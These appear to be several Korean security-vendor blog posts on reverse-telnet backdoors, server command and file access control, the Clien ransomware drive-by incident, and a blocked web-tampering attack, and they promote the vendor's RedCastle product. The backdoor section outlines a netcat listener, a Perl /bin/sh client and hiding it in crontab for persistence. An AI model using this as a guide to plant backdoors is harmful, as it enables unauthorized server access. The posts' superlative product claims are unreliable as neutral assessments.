위와 같이 일반적인 Telnet, SSH 접속을 통제하기 위해서는 사용자와 서버의 중간에 방화벽을 두어 접속을 허가할 IP만 열어주고 나머지 IP는 접속을 차단한다. 


하지만 위의 과정과 달리 사용자의 PC측에서 기다리고(Listen) 서버에서 사용자 PC측에 접속(connect)한 뒤 쉘을 연결해주는 방식을 사용할 수 있다면 방화벽을 우회할 수 있다. 즉 텔넷 클라이언트 프로그램을 서버로 만들고 텔넷 서버를 클라이언트로 만들어 접속을 하는 (역-텔넷)방식이라고 생각하면 된다. 이 기법을 사용하는 백도어가 바로 리버스텔넷(Reverse Telnet)이다.


리버스 텔넷의 개념도를 보면 다음과 같다.



리버스 텔넷의 과정

리버스 텔넷을 위해서는 공격자의 PC에 netcat 이라는 도구가 필요하다. 넷캣을 PC에 설치한 뒤 다음과 같이 실행해준다.



nc.exe가 netcat 이다. 포트를 1234로 지정한 뒤 위와 같이 실행하면 nc는 서버에 설치된 리버스텔넷 클라이언트의 접속을 기다린다.


다음은 서버에 설치된 리버스텔넷 클라이언트를 실행한다. 앞에서도 이야기 했듯 리버스 텔넷은 일반 텔넷/SSH와는 반대의 개념이다. 클라이언트가 서버에 접속하는 방식이 아니라 서버가 클라이언트에 접속하는 방식이다.



위 화면에서 실행한 리버스텔넷 클라이언트는 펄(Perl)로 만들어진 정교한 클라이언트다. 이 펄로된 소스를 살펴보면 아래와 같이 exec()함수를 이용해 /bin/sh 를 실행하는 것을 볼 수 있다. 또한 서버 운영자와 관리자를 속이기 위해 프로세스 이름도 변경하는 것을 알 수 있다.



이 리버스 텔넷 클라이언트를 실행하면 PC에서 nc 를 실행한 뒤 대기상태 였던 창에 프롬프트가 보이는 것을 확인할 수 있다.



이때부터 서버는 해커의 손아귀에서 놀아나가 된다. 접속 과정에 ID도, 비밀번호도 묻지 않는다. 리버스 텔넷 클라이언트를 실행시킨 사용자 계정의 권한을 인증과정 없이 얻게 된다는 것을 확인할 수 있다.


리버스 텔넷의 차단

현재까지 리버스 텔넷을 서버 수준에서 차단할 수 있는 보안 솔루션은 RedCastle과 같은 SecureOS가 유일하다. 만약 방화벽을 통해 차단하기를 원한다면 내부망에 서버와 사용자의 사이에 방화벽을 설치하고 사용자 PC의 입장에서 인바운드 방화벽 정책을 수립해야 한다. 하지만 인바운드 정책을 적용하는 것은 그리 쉬운일이 아니다. 


하지만 레드캐슬을 통해 서버에 리버스 텔넷을 이용한 백도어를 설치한 뒤 접속하는 행위를 통제하기 위해서는 /bin/sh, /bin/ksh, /bin/csh, /bin/bash 등 운영체제에 존재하는 모든 Shell 파일에 대한 접근을 모니터링하여 모니터링 된 프로세스(명령어) 이외에는 접근을 차단하도록 정책을 적용하면 리버스 텔넷으로 인한 불법적인 서버 시스템의 접근을 쉽게 차단할 수 있다.


이 리버스 텔넷은 특별히 어려운 도구 없이 서버에 백도어를 심어놓을 수 있는 매우 쉬운 방법이다. 서버의 크론탭이나 부팅 스크립트 혹은 서비스를 구동/중지하는 스크립트에 몇라인만 숨겨 놓으면... 두고 두고 백도어로 사용할 수 있다. 


IT 운영 부서나 개발 부서의 내부자는...마음만 먹으면 언제든 리버스 텔넷을 응용한 백도어를 서버에 심어두고 패스워드 없이 시스템에 로그인할 수 있는 것이다.



명령어 실행 및 파일 접근 통제

정보보안이라고 하면 흔히 악성코드나 모의해킹 그리고 취약성 분석 등을 떠올리기 마련이지만..사실상 해커들이 그러한 공격기법들을 통해 얻으려 하는 것은 매우 단순하다. 


바로 "정보"다.


그리고 해커들이 원하는 정보는 99%가 "파일" 혹은 "데이터베이스"에 저장되어 있기 마련이다. 그렇다면 이 "정보"를 획득하기 위해 사용되는 "명령어" 또는 정보가 담겨있는 "파일"에 대한 접근(실행/읽기)을 완벽하게 통제하면 모든 것은 해결된다. 해커들은 "정보"를 획득하는데 사용되는 "파일"이나 "명령어"를 실행할 권한을 얻기 위해 그 생쑈~를 하는 것이다.


벌써 많은 사람들의 기억에서 잊혀져가고 있는 농협의 200대가 넘는 서버 해킹사고와 다수의 카드사에서 발생한 엄청난 양의 금융정보 유출 사고가 대표적인 서버 보안 사고다. 그리고 그 두 사고의 핵심 이슈는 "내부자에 의한 명령어 실행 통제"와 "데이터 파일 접근 통제"다.


하지만 그러한 사고가 발생한지 수 년이 지났지만 아직도 우리나라의 정보보호 수준은 "네트워크에서의 접근통제"와 같이 정보에 접근하는 길목을 지키는 네트워크 보안과 PC를 장악하기 위해 전파되는 악성코드 분석에 포커스가 맞춰져 있다. 그나마 변화한 것은 금융감독원의 IT금융감독규정에 "운영체제 계정으로 접속 시 2차 인증 의무화" 와 같이 이제 서버 운영체제에 대한 보안에 관심을 갖는 정도다. 그리고 그 조차도 아직 제대로 구현되지 않은 금융기관이 태반인 것이 현실이다.


그리고 더 나아가 서버 내 운영체제 및 데이터베이스 그리고 애플리케이션의 중요한(위험하다고 표현할 수 있는) "명령어"의 실행에 대한 통제는 꿈도 못꾸고 있는 것이 현실이다. 하지만 보안사고가 발생할 경우 최종적으로 정보유출 및 피해를 발생시키는 취약점은 바로 "서버 내의 명령어와 파일"의 존재다.


그래서 서버 내의 명령어와 파일에 대한 접근 통제는 보안의 최후 방어선 이라고 할 수 있다.


서버 로그인 시 이중 인증(2차 인증)

일부 금융기관과 공공기관은 서버에 운영체제의 계정으로 접속할 때 2차 인증을 구현하고 있다. 아래 화면처럼 운영체제의 ID와 패스워드 인증을 완료하면 2차 인증을 위한 접속자의 사용자 정보와 OTP 번호를 입력하는 것과 같이 2차 인증을 수행한다.


OTP를 통한 2차 인증(이중인증)OTP를 통한 2차 인증(이중인증)


하지만 대부분의 2차 인증 솔루션들은 여기까지가 한계다. 사실 Unix(HPUX, Solaris, AIX)와 Linux 그리고 Windows 운영체제 수준에서 2차 인증을 지원해주는 솔루션은 몇개 되지 않는다. 대부분은 서버팜의 앞단에 게이트웨이를 두고 게이트웨이에 접속할 때 2차 인증을 해준 뒤 실제 서버에 로그인할 때는 2차 인증을 해주지 못하는 솔루션이 태반이다. 당연히 우회 접속의 길이 열려 있어 보안에 취약할 수 밖에 없다.


그리고 대부분의 2차 인증 솔루션은 단순히 인가된 OTP 기기를 사용하면 실사용자가 누구든 관계 없이 OTP기기와 OTP번호만 확인하고 서버에 접속을 허가한다. 하지만 OTP기기를 빌려주거나 분실하였을 때 다른 사용자의 OTP 기기를 사용지 못하도록 통제할 필요가 있다.


2차 인증 기반 명령어 통제

그렇다면 2차 인증을 받고 서버에 접속한 사용자는 신뢰할 수 있는가? 농협사태와 카드사 사고는 "단순한 2차 인증 만으로는 부족하다"는 것을 시사한다. 서버에 접속할 권한을 부여받은 사용자라 할지라도 서버에 접속한 뒤 특정 명령어를 사용하기 위해서는 추가적인 "허가" 절차가 구현되어야 한다.


명령어 사용에 대한 추가적인 "허가" 절차가 실시간이든 아니면 사전에 "작업 신청"을 통해 사용할 명령어에 대한 사용 신청을 하고 "결재(승인)"을 받아야하든 어떤 방식으로든 구현되어야 하는 것이다.


최종적으로 2차 인증 기반 명령어 통제 시스템은 다음과 같이 구현될 수 있다.


2차 인증(실사용자 기반) 명령어 통제 시스템2차 인증(실사용자 기반) 명령어 통제 시스템



그리고 위의 2차 인증 기반 명령어 통제 시스템은 다음과 같은 절차에 의해 통제가 이루어진다. 당연히 작업 신청에 의해 사용되어야 하는 명령어나 파일은 서버보안SW에 의해 실행이나 접근이 통제되고 있어 운영자나 개발자 그리고 외부 엔지니어가 서버에 접속해도 실행이나 수정/삭제가 불가능한 상태다.

  1. 작업자의 명령어 사용 신청 (작업 신청)
  2. 승인자의 작업 승인
  3. 작업 시작 시간에 명령어 통제 정책 스케줄링을 통한 권한 부여
  4. 작업 시작 시간에 작업자의 2차 인증을 통한 서버 접속
  5. 2차 인증 수행
  6. 명령어 사용 및 파일 접근(생성/수정/삭제 등)
  7. 작업 종료 시간에 권한 회수


REDBC의 AuthCastle과 RedCastle

레드비씨의 서버보안 솔루션은 명령어 사용과 중요 파일들에 대한 접근을 통제하는 현존하는 가장 강력한 보안 솔루션이다. 서버 내의 자원은 특성상 네트워크 수준에서는 통제 불가능하다. 클라이언트의 키보드 입력 가로채기, 패킷 스니핑의 방법으로는 너무도 다양한 파일이나 명령어에 대한 접근 기법을 모두 통제할 수 없다. 
오로지 운영체제의 커널에서 동작하는 참조모니터 만이 가장 확실한 통제 수단을 제공해 준다. 
레드비씨는 2차 인증 솔루션인 AuthCastle과 서버내의 자원에 대한 현존하는 가장 완벽한 접근통제를 가능하게 해주는 RedCastle을 통해 단순한 명령어 및 파일 접근 통제는 물론 2차 인증과 연동한 실사용자 기반의 명령어 통제 및 파일 접근통제를 지원하며 워크플로(결재 절차) 지원을 통해 서버에서의 작업관리와 작업 승인에 기반한 명령어 실행 권한 자동 부여 및 권한 회수를 지원하는 서버보안 솔루션을 제공하는 국내 유일의 보안 솔루션 기업이다.




클리앙의 랜섬웨어 유포 사고

4월의 하순으로 접어드는 어느 날... 국내에서 꽤나 큰 커뮤니티인 클리앙에서 접속자들의 PC에 랜섬웨어가 유포되는 해킹사고가 발생했습니다. 랜섬웨어는 커뮤니티의 웹서버 중 하나를 해킹하여 소스를 수정하는 "웹서버 소스 파일 위변조 공격"으로 커뮤니티에 접속한 사용자 PC에 해커들이 미리 준비해 둔 다른 웹서버에서 랜섬웨어를 다운로드 받도록 하는 "드라이브 바이 다운로드(Drive By Download)" 기법으로 유포되었습니다.


커뮤니티 웹서버에 접속하여 PC로 다운로드 된 악성코드는 어도비(Adobe)의 swf 파일을 로드하여 실행할 수 있는 취약점인 CVE-2015-0311 취약점을 이용하여 swf (어도비 플래시파일)로 배포되어 인터넷익스플로러를 통해 실행되는 형태로 만들어져 있습니다. (출처 : Wins의 분석보고서 참조)  


가상머신을 이용한 탐지 시스템 무력화 기법 사용

Wins의 분석보고서를 보면서 특기할 만한 점을 발견하였는데...악성코드의 소스에 말로만 듣던 가상머신을 이용하는 샌드박스 기법의 악성코드 탐지를 무력화하는 코드가 들어있다는 점이었습니다.이번에 배포된 크립토라커(CryptoLocker)는 PC에 다운로드되어 실행될 때 자신이 실행되는 PC의 환경이 가상머신인지 아닌지를 확인하는 코드를 포함하고 있습니다. 이는 해커들도 나름대로 최신 보안솔루션에 대해 대응하고 있다는 것을 뜻하며 근본적인 대응책을 마련하지 않는 이상 PC를 대상으로 하는 악성코드의 배포를 차단하는 것은 불가능하다는 의미를 갖고 있습니다. 


저도 최근에 제가 근무하는 회사의 본부장님 PC를 점검해드리면서 감염된 트로이목마가 -네이버에서의 백신SW 다운로드 차단, -설치되어 있는 V3와 같은 백신의 엔진 업데이트 차단과 같이 백신을 무력화하는 기법을 구현한 것을 확인하였습니다.


커뮤니티의 광고서버가 랜섬웨어 유포지로 이용된 이유

이번 클리앙 사고를 비롯해 신문사 웹사이트나 포털 그리고 쇼핑몰 등 많은 보안사고에서 악성코드 유포지로 이용될 가능성이 높은 서버 중 하나가 바로 광고서버입니다. 클리앙의 이번사건의 경우도 공지를 보면(지금은 내려갔지만) 광고서버의 소스파일이 변조되어 악성코드를 유포했다는 내용이 있었습니다.


이렇게 광고서버가 악용되는 이유는 매우 단순합니다. 광고는 커뮤니티의 어느 페이지를 가더라도 웹브라우저에 보인다는 점입니다. 즉 모든 접속자가 무조건 한번이상 악성코드를 다운로드 받게 된다는 것이죠. 그래서 웹서버와 함께 광고서버의 소스 보호를 위한 서버보안 구현이 중요한 것입니다.


피해상황

이번에 클리앙에서 유포된 랜섬웨어는 CryptoLocker(크립토락커)라는 랜섬웨어 입니다. 이 크립토락커에 감염되면 문서파일, 이미지파일 등을 위주로 파일을 암호화합니다. 그리고 다음과 같은 화면을 보여줍니다.



무척 서툰 한글이기는 하지만 분명히 한국의 네티즌을 타겟을 했다는 것을 알 수 있습니다. 비트코인과 같은 가상화폐 또는 현금을 입금하라고 합니다. 그래야만 암호화된 파일을 복원해주겠다고 협박합니다. 어떤 분은 실제로 돈을 입금하고 복호화 키를 받아 문서와 이미지들을 복원했다는 분도 있습니다. 실제인지는 알 수 없으나 대부분 해커가 요구하는 돈을 입금해도 복원이 안되는 경우가 더 많다고 합니다.


클리앙에서 랜섬웨어가 배포된 뒤 많은 피해를 호소하는 글들이 클리앙의 게시판을 뒤덮기 시작했습니다. 제가 거의 매일 한번씩은 방문하여 글을 읽기에 수백건의 (제가 본것만) 피해글을 볼 수 있었는데... 몇년간의 자료(업무에 사용하는)가 암호화되어 복구가 불가능하다는 글을 비롯해 매우 심각한 피해를 호소하는 내용도 많았습니다. 대부분의 사람들은 파일을 복원하지 못하는 것이 현실입니다.


문제점과 대응방안

사실 네티즌 입장에서는 적극적인 대응은 불가능합니다. 웹브라우저를 사용하지 않을 수는 없으니까요.. 기껏해야 백신을 설치하고 매일 업데이트하며 웹브라우저와 어도비의 애플리케이션을 최대한 자주 업데이트하는 방법 밖에는 없습니다.


하지만 그런 방안도 제로데이 취약점을 공격하는 악성코드에는 무용지물이라는 점이 문제입니다. 해커가 제로데이 취약점을 이용해 이번과 같은 랜섬웨어를 유포하는 공격을 감행하면 네티즌의 입장에서 현재로서는 막을 방법이 없습니다.


유일한 보안 대책은 웹서버와 광고서버 등 해커들이 악성코드를 유포시키는데 악용하는 서버의 보안을 강화하는 것입니다. 클리앙의 웹서버는 대형 IDC에 위치하고 있을 것이고 IDC에서 기본적인 Firewall이나 침임탐지 및 차단 시스템을 운영하고 있을 것입니다. 하지만 네트워크 수준에서 동작하는 보안 장비로 웹 해킹을 방어하기에는 역부족이기 때문에 해커의 해킹시도에 뚫렸고 소스파일이 변조되어 Drive By Download 형태로 커뮤니티의 웹서버에 접속한 사용자의 PC에 악성코드와 랜섬웨어를 배포하는데 악용될 수 밖에 없었을 것입니다.


이러한 공격을 방어할 수 있는 유일한 방법은 웹서버와 광고서버를 운영하는 주체가 서버 운영체제의 커널 수준에서 파일의 변조를 통제하여 웹 소스파일과 광고 소스파일에 대한 위변조를 실시간으로 차단하는 방법 밖에는 없습니다. 대부분의 웹서버와 광고서버는 Windows Server 운영체체 또는 Linux Server 운영체제 그리고 HPUX, AIX와 같은 서버 용 운영체제를 사용합니다. 그렇기 때문에 운영체제의 커널 수준에서 웹 소스파일과 광고 소스파일의 생성과 수정 권한을 통제하면 이번과 같은 웹 해킹을 통한 악성코드 유포를 차단할 수 있습니다. 해커가 웹 소스파일을 변조하기 위해 웹서버의 취약점을 공격해 파일의 수정 권한을 얻더라도 사전에 허가되지 않은 경로를 통한 소스 파일의 수정을 차단할 수 있습니다.


최근에 웹 소스의 위변조를 차단하는 솔루션들이 여럿 출시되고 판매되고 있지만 대부분 주기적으로 소스파일의 무결성을 검사하여 변조가 확인되면 별도로 보관하고 있던 파일로 다시 복구하는 형태가 주를 이루고 있습니다. 하지만 이런 형태의 방어는 제대로 된 방어라 볼 수 없습니다. 게다가 언제, 누가, 어떤 경로를 통해 변조를 시도했는지 확인할 수 없는 "사후 조치" 수준을 벗어날 수 없습니다.


RedCastle을 통한 웹 소스의 위변조를 실시간으로 차단하는 방안이 가장 효과적인 대응방안인 이유입니다.


웹 서버를 통해 악성코드가 악성코드가 네티즌의 PC로 유포되었는데... 정작 책임을 져야할 서버 측에서는 대응을 제대로 하지 않고 피해자인 네티즌 PC의 보안 패치 업데이트 타령만 하는 것은 너무 무책임한 것은 아닌지 생각해 봐야하지 않을까 싶습니다.


  • 세이렌. 2015.04.26 21:45 신고

    잘못하면 문서 다 날아가겠네요. 조심해야겠어요. 백업도 잘 해야겠고요.

    • taeho Tae-Ho 2015.04.26 22:30 신고

      IE보다는 크롬을 사용하시고...
      가능하시면..광고를 막아주는 플러그인을 쓰시는 것도
      광고서버를 통한 악성코드 감염을 차단하는 방법 중 하나입니다.


보안 운영체제라 부르는 Secure-OS를 이용한 서버의 보안 강화와 관련된 이슈는 아직까지 보안 시장에 무르익지 않고 있습니다. 하지만 2011년 농협 보안사고와 다수의카드사 개인정보 유출 사고에서와 같이 대형 보안 사고는 대부분 "서버 운영체제에 개발자 혹은 관리자 권한"으로 접속한 내부 사용자 권한을 가진 사람들에 의해 발생하고 있기 때문에 실제 정보가 저장되고 가공되며 서비스 되고 있는 서버 내부에서의 위협에 대한 통제 방법론에 대한 이슈는 분명 지속적으로 이슈가 제기될 것입니다.


서버 내부의 개발자와 관리자에 대한 행위 통제는 불가능 한가?


당연히 가능합니다. 


하지만 많은 IT 종사자는 물론 보안 전문가들도 IBM, HP, Oracle(구 Sun Microsystems)와 같은 상용 유닉스 운영체제와 리눅스 운영체제 그리고 MS의 Windows 운영체제 내의 해킹에 악용되는 중요한 관리자 명령어와 자체 취약점에 대해 "어떻게 통제할 것인가"에 대한 통제 방법을 알지 못하고 있습니다. 


그 이유는 엄청난 양의 정보가 실제로 저장되고 처리되는 서버 운영체제에 대한 지식과 그 서버 운영체제 상에서 실행되고 서비스 되는 데이터베이스관리시스템(DBMS) 그리고 미들웨어, 웹서버 등의 "서비스" 애플리케이션의 상호 연동에 대해 제대로 이해하고 SecureOS를 통해 보호정책을 수립하고 적용할 능력을 갖고 있지 못하기 때문입니다. 게다가 네트워크 보안과는 달리 "보호정책"을 적용할 경우 즉각적으로 "서비스 개발과 운영 및 관리의 불편함이 높아진다고 생각하기 때문에 서버 내부의 보안을 강화할 엄두를 내지 못하고 있는 형편입니다. 


서버 내부의 보안을 강화해야 한다는 것에는 동의하지만 어떤 보안솔루션을 도입하고 "보호 정책"을 실제로 어떻게 적용해야할지를 알지 못하고 있는 것입니다.


서버 내부의 파일과 명령어를 해킹으로부터 보호하기 위해서는 어떤 솔루션이 필요한가 ?


네트워크에 추가되는 장비(어플라이언스) 형태의 보안장비로는 서버 내부의 파일과 명령어을 해커의 위협으로 부터 보호할 수 없습니다. 윈도서버에서 자주 발생하는 악성코드 "파일"의 감염은 서버백신이나 서버 앞단에 설치된 침입차단 시스템이 제역할을 하지 못하기 때문에 불법적인 파일의 "생성"을 차단하지 못하는 것을 반증합니다.


웹의 취약점 공격을 받아 웹쉘이 업로드 되거나 소스파일이 변조되어 java script 공격코드가 삽입되며 인젝션 공격을 받아 해커가 서버에 공격파일을 업로드하고 실행할 수 있는 것 또한 침입차단 시스템이나 웹방화벽이 제 역할을 수행하지 못하기 때문입니다.


종종 홈페이지가 변조되어 백방으로 수소문한 끝에 RedCastle을 도입하거나 타 보안 제품을 운용하다가 파일에 대한 접근통제 정책을 제대로 구현하지 못해 RedCastle의 설치를 요청하는 경우를 볼 수 있습니다. 이런 경우 도입하려는 솔루션이 다음의 조건을 충족하는지 검토하여야 합니다


서버 내의 파일과 명령어에 대한 생성/수정/삭제/실행을 통제하고자 할 때 검토 사항


1. 커널기반의 파일 접근 통제 솔루션인가?


운영체제 커널 기반이 아닌 네트워크에 장비 형태로 추가되는 솔루션은 서버의 명령어와 파일에 대한 유출 및 변조를 제대로 방어할 수행할 수 없습니다.


2. 보호 대상 명령어 및 파일 지정을 위한 와일드카드를 지원하는가?


서버의 수많은 종류의 파일을 지정하기 위해 일일히 디렉토리를 지정하거나 개별 파일을 모두 등록해야 해서는 다양한 파일 접근 통제 및 명령어 실행 통제를 수행할 수 없습니다. 또한 방화벽이나 백신 또는 IPS, WIPS 등 네트워크의 패킷 분해/검사 방식의 솔루션이나 블랙리스트 방식의 접근통제를 수행하는 솔루션들은 알려진 공격만 차단할 뿐(그것도 100% 장담할 수 없지만) 보호 대상 파일이나 명령어에 대한 접근을 통제하지 못합니다.


3. 심볼릭링크, 하드링크, 알리아스 등  위험한 명령어 및 파일에 대한 우회 접근을 통제할 수 있는가?


서버의 운영체제 커널 수준에서 통제하지 않으면 이러한 파일에 대한 우회 접근 수단을 통제할 수 없습니다. SAC나 보안쉘 방식의 명령어 통제 솔루션은 명령어 및 파일에 대한 다양한 우회 접근 기법을 근본적으로 차단할 수 없습니다.


4. 서비스 및 서버의 안정성은 보장되는가?


당연히 서버에 설치되어 동작하거나 관리자/개발자/운영자의 서버 접속 세션을 모니터링하기에 안정성은 필수로 검증하여야 합니다. 안정성의 검증은 설치 사례를 통해 검증할 수 밖에 없습니다. 설치 및 구축 사례 중에서 은행, 보험, 증권, 인증기관 등 금융기관의 계정계 시스템에서 안정적으로 동작하는 사례를 검증하는 것이 가장 확실할 수 있습니다. 예를 들어 국민은행에 서버보안SW를 납품했다 하여 최고의 안정성을 요구하는 "계정계" 시스템에 설치한 것은 아닙니다. 국민은행의 계정계 시스템은 아직 메인프레임입니다. 메인프레임에는 현존하는 서버보안SW(보안OS)를 설치할 수 없기 때문입니다. 이와 같이 "고객사"만 확인하는 것 보다는 그 고객사의 "어느 시스템(서버)"에 적용되어 있는가를 확인하여야 합니다.


5. 실제 해킹 방어 사례는 있는가?


보안 솔루션은 내부통제의 목적도 있지만 실제 해킹을 방어할 수 있어야 합니다. 실제 해킹의 방어 사례와 방어한 감사로그를 살펴보면 해당 보안제품의 보안 수준을 가늠할 수 있습니다. 


6. OTP/ARS 등의 2차 인증과 연계하여 자연인 기반의 명령어 통제가 지원되는가?


root, oracle, administrator 등 공용계정으로 다수의 개발자/운영자가 접속하여 장애 및 해킹에 악용되는 명령어를 실행할 경우 실제 사람(자연인)을 식별하는 것이 불가능합니다. 따라서 이중 인증(OTP/ARS) 시스템(보러가기)과 연계하여 실제 사용자를 식별하여 명령어 실행 시에도 자연인 기반의 명령어 통제가 가능해야 합니다. 즉 root로 로그인한 홍길동은 shutdown 명령의 실행이 가능하지만 root로 로그인한 다른 사람들은 shutdown 명령어 실행이 불가능하도록 "정책(Policy)"의 구현이 가능해야 합니다.



명령어 통제 및 파일 접근 통제의 핵심 기술 - 참조모니터(Reference Monitor)


서버보안SW(보안OS)는 커널 수준에서 동작하는 참조모니터로 구현되어야 합니다. 왜냐하면 파일에 대한 읽기/수정/생성/삭제/실행 등의 접근은 매우 다양한 방법에 의해 이루어지며 우회 접근도 가능하기 때문에 모든 파일에 대한 접근이 실제로 이루어지는 시스템콜 수준에서 통제하지 않을 경우 제대로 된 파일접근통제, 명령어 실행 통제가 이루어질 수 없기 때문입니다.


명령어의 실행과 파일의 생성/읽기/수정/실행/삭제에 대한 통제를 가능하게 하는 운영체제 커널 수준에서의 참조모니터는 국내 위키에서 찾아 볼 수 없을 만큼 정보가 부족합니다. (영문 위키 : 참조모니터(Reference Monitor) 


참조 모니터의 역할은 그 이름에서도 알 수 있듯이 객체(파일, 프로세스, 계정 등의 자원)에 주체(프로세스(명령어 포함), 계정)가 접근(읽기/쓰기/실행/수정/삭제 등등)할 때 발생하는 모든 시스템콜(이벤트) 및 행위를 모니터링 하는 것입니다. 여기서 "모든"이 중요합니다. "모든" 행위를 가로채 검사(Validation)하지 못하면 우회가 가능하게 되고 우회 경로가 결국 취약점이 될 수 있습니다.


다만 "모든" 이벤트를 가로채는 것은 결코 쉽지 않기 때문에 얼마나 많은 이벤트를 검사할 수 있느냐가 보안 솔루션의 능력을 가늠한다고 볼 수 있습니다. 그런면에서 알려진 "공격패턴"을 기반으로 알려진 공격 기법에 의한 침해만 방어하는 대부분의 보안 솔루션들은 사실.... 제대로 개발된 보안 솔루션이라 하기엔 부끄러운 것이 사실입니다. 


서버보안SW(보안OS)의 참조모니터에 대해서는 다음의 두 장의 그림으로 설명을 대체합니다. 글로 설명하자면 너무 길어지고 커널에 대한 제 지식이 많이 부족하기 때문에 그림으로 그 역할을 설명합니다.


1. 서버보안SW의 참조모니터(보안커널)가 운영체제 커널에 로딩되기 전의 Pure OS의 구조입니다.


2. 서버보안SW가 서버에 설치되어 참조모니터(보안커널)가 운영체제 커널에 로딩된 후의 OS 구조 입니다.


RedCastle은 서버 운영체의 커널 수준에서 동작하는 현존하는 가장 완벽한 참조모니터를 구현한 서버 보안 솔루션(SecureOS) 입니다.



  • 에스델 ♥ 2015.02.06 09:52 신고

    대형보안사고의 실제 피해자이기도 했기에~
    서버 내부 개발자와 관리자에 대한 행위 통제가
    가능하다는 사실을 알게되어 기쁩니다.^^
    좋은 하루 보내세요!

    • taeho Tae-Ho 2015.02.06 10:37 신고

      가능하지만...
      통제를 안하려고 한다는 건 함정..!!
      개발과 관리업무가 불편해진다고 생각하기 때문이죠~ ^^

  • 지후대디 2015.02.09 22:55 신고

    제가 일하는 업계에서 secure os에 대해서 아직은 요구사항이 크진 않지만 점점 커지고 강화되는 보안 요구에 언젠가는 필수 제품이 되리라 생각이듭니다

    • taeho Tae-Ho 2015.02.10 07:28 신고

      지후대디님 회사의 서버에는 이미 상당수 서버에 시큐어os가 설치되어 있습니다. ^^ 지금도 저희가 기술지원을 하구 있구요... 다만 실제 통제가 아니라 행위에 대한 감사만 하고 있을 뿐이죠.. 언젠간 이중인증과 명령어 통제, 파일 보호 정책까지 정책을 실제로 적용할 수도 있습니다.. ^^


최근 웹서버의 소스 변조 공격이 또 다시 붐~처럼 휘몰아 치고 있는 듯 하다. 


얼마 전 지속적인 웹 소스파일 변조 공격을 받고 있어 몇 주 째 사투(?)를 벌이고 있던 한 웹사이트 운영 업체의 요청으로 RedCastle SecureOS를 설치하고 해커와 한판 전쟁을 치르게 되었다. 이 해커는 다른 일반적인 소스 변조를 시도하는 사례와는 달리 한 두 가지의 공격을 차단되어도 포기하지 않고  계속 새로운 공격을 시도하고 있었다.


대부분의 경우는 웹 소스의 변조 시도가 차단되면 포기(?)하고 물러나는 것이 일반적인데 이 해커는 집요하게 새로운 공격을 감행하여 차단을 우회하려 시도하거나 운영체제의 파일들을 변조하려 하는 등 포기하지 않는 끈질김을 보여주었다.


2014년 11월의 어느 날...


급박한 요청을 받고 RedCastle을 설치한 뒤 Baseline Policy와 변조되는 소스파일에 대한 보호 정책을 적용하니 곧바로 다음과 같은 공격이 들어오는 것을 확인할 수 있었고 웹 소스파일 위변조 차단 정책에 의해 변조 공격은 차단되었다.



RedCastle을 설치하고 변조가 발생하는 경로의 파일들에 대해 위변조 차단정책과 웹서버 대몬의 운영체제 명령어 접근을 차단하는 정책을 적용하자 wscript.exe 프로세스가 cmd.exe를 실행하고 cmd.exe가 웹 소스파일을 변조하는 것을 알 수 있었다. 당연히 이 공격은 1차로 적용한 웹 소스파일 변조 차단 정책에 의해 차단되었다.



이후에도 위 감사로그 처럼 cmd.exe를 통해 계속 웹 소스파일 경로의 특정 파일을 변조하려 시도하고 있었다. 시도가 차단되니 1초에도 수십번씩 반복적으로 변조를 시도하고 있었다.


이러한 공격은 매우 흔한 경우로서 해커가 웹쉘을 업로드하는데 성공했거나 웹쉘처럼 운영체제의 명령어를 웹 인젝션 취약점을 통해 실행하여 관리자 권한을 탈취하는데 성공했다는 것을 의미한다.


그 후 보호정책이 걸려있지 않은 경로를 통해 우회 변조 및 새로운 파일들에 대한 변조가 발생하여 계속 보안 정책을 강화해야 했고 계속 소스 변조에 실패한 해커는 만 이틀이 안되어 사용자들에게 다운로드 되는 일부 프로그램을 변조하려 하는 새로운 시도가 있었다. 예전의 웹하드 업체의 다운로드 전용 프로그램을 변조하는 것과 같은 공격을 시도한 것이다.




위 화면은 뷰어 프로그램으로 보이는 접속자의 PC에 다운로드 되는 프로그램파일을 웹서버를 통해 변조하려 한 시도다. 주체 프로세스가 w3wp.exe (IIS 웹서비스 대몬)이고 변조 대상이 되는 객체 파일이 xlviewer.exe 라는 것을 알 수 있다.


해커는 이쯤에서 서버에 보호대책이 구현되어 있다는 것을 눈치 챘던 것으로 보인다. RedCastle의 파일들을 변조하고 매니저와 통신을 수행하는 프로세스를 강제로 종료시키기도 했다. 일반적으로 RedCastle의 존재를 알아차리는 해커는 없었다. 그런데 이번 해커는 조금 달랐다. 만만치 않은 친구(?)라는 것을 알 수 있었고 즉각적으로 RedCastle을 재설치하고 자체 보호 정책을 활성화 시켰다. 이후에도 RedCastle을 무력화 시키려 시도하였으나 차단되자 아래 처럼 다시 웹 소스파일과 설정파일을 변조하려 시도한다. 하지만 보호정책이 적용되어 있는 경로의 소스파일은 일반적인 방법으로는 수정이 불가능하다.



주체 프로세스는 역시 w3wp.exe 고 변조 대상 파일은 Web.config 파일이다. 이전엔 wscript.exe와 cmd.exe를 통해 변조를 시도했지만 실패하자 조금 다른 패턴을 통해 변조를 시도하였고 이 변조 공격 또한 차단되었다. 


웹 서버 소스에 대한 변조가 완벽하게 차단되자 해커는 다음 날 새로운 무기를 들고 나왔다. 다른 백도어와 악성코드 파일을 서버에 업로드하고 실행시키려 시도한 것이다.



iis6.txt 가 cmd.exe를 실행하려 시도하는데 경로가 RECYCLER 이다. 바로 휴지통이다. 휴지통은 일반적으로 악성코드에 감염될 것이라고는 잘 생각하지 않는다. 하지만 해커들은 사람들이 잘 들여다 보지 않는 곳에 악성코드를 업로드하고 실행시키는 경우가 종종 있다. 아래 화면처럼 말이다. 휴지통에 선명하게 보이는 c.exe 파일. 바로 악성코드다.



다음과 같이 반복적으로 계속 실행을 시도한다.















c.exe 말고도 주체로 보이는 iis6.txt 가 cmd.exe를 실행시키는 것 뿐만아니라 c.exe 자체가 운영체제의 net.exe 명령을 실행하기도 한다. net.exe는 해커들이 시스템의 관리자 권한을 획득할 경우 즐겨 사용하는 명령 중 하나다.



휴지통에 업로드하고 위 화면에서와 같이 실행을 시도한 파일들..



앞에서 봤던 iis6.txt 파일도 보인다.


Virustotal 사이트에서 확인하자 c.exe가 악성코드로 탐지된다. 안타깝게도 ALYac 에서는 아직 악성코드로 탐지해 내지 못한다. 블랙리스트 방식의 보안 솔루션의 한계를 여실히 보여주는 대목이다.



이후에도 해커는 지속적으로 공격을 시도한다.



